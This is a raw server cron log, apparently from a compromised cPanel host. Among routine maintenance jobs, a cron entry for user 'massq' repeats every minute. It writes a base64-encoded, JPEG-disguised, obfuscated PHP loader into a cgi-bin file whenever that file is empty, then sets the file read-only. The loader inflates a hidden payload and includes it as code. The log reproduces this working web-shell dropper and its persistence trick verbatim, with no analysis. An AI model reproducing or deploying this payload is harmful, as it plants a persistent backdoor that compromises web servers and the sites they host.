Sep 11 18:56:01 server CROND[815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:56:01 server CROND[816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:57:01 server CROND[1403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:57:01 server CROND[1404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:57:01 server CROND[1405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:57:01 server CROND[1406]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 18:58:01 server CROND[1838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:58:01 server CROND[1840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:58:01 server CROND[1839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:59:01 server CROND[2271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:59:01 server CROND[2272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:59:01 server CROND[2273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:00:01 server CROND[2704]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:00:01 server CROND[2703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:00:01 server CROND[2710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:00:01 server CROND[2714]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 19:00:01 server CROND[2715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:00:01 server CROND[2718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:00:01 server CROND[2717]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:00:01 server CROND[2716]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:00:01 server CROND[2720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:01:01 server CROND[3628]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 19:01:01 server CROND[3627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:01:01 server CROND[3630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:01:01 server CROND[3629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:01:01 server run-parts(/etc/cron.hourly)[3628]: starting 0anacron
Sep 11 19:01:01 server run-parts(/etc/cron.hourly)[3648]: finished 0anacron
Sep 11 19:02:01 server CROND[4124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:02:01 server CROND[4125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:02:01 server CROND[4126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:03:01 server CROND[4526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:03:01 server CROND[4527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:03:01 server CROND[4528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:04:01 server CROND[4912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:04:01 server CROND[4913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:04:01 server CROND[4914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:05:01 server CROND[5308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:05:01 server CROND[5309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:05:01 server CROND[5314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:05:01 server CROND[5315]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:05:01 server CROND[5319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:05:01 server CROND[5318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:05:01 server CROND[5316]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 19:05:01 server CROND[5320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:06:01 server CROND[6152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:06:01 server CROND[6153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:06:01 server CROND[6154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:07:01 server CROND[6626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:07:01 server CROND[6627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:07:01 server CROND[6628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:08:01 server CROND[7037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
